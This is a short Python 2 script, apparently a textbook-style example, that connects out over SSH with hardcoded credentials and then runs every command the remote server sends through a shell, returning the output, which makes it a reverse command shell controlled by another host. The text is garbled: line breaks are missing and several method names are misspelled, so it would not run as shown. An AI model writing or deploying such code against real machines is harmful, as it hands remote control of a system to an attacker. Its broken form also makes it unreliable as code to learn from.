import threadingimport paramikoimport subprocessdef ssh_command(ip,user,passwd,command): client = paramiko.SSHClient() #client.load_host_keys('/home/justin/.ssh/known_hosts') client.set_missing_host_key_policy(paramiko.AutoAddpolicy()) client.connec(ip,username=user,password=passwd) ssh_session = client.get_trasport().open_session() if ssh_session.active: ssh_session.send(command) print ssh_session.recv(1024) while True: command = ssh_session.recv(1024)#get the command from the SSHserver try: cmd_output = subprocess.check_output(command,shell=True) ssh_session.send(cmd_output) except Exception,e: ssh_session.send(str(e)) client.close() returnssh_command('192.168.0.1','justin','lovethepython','ClientConnected')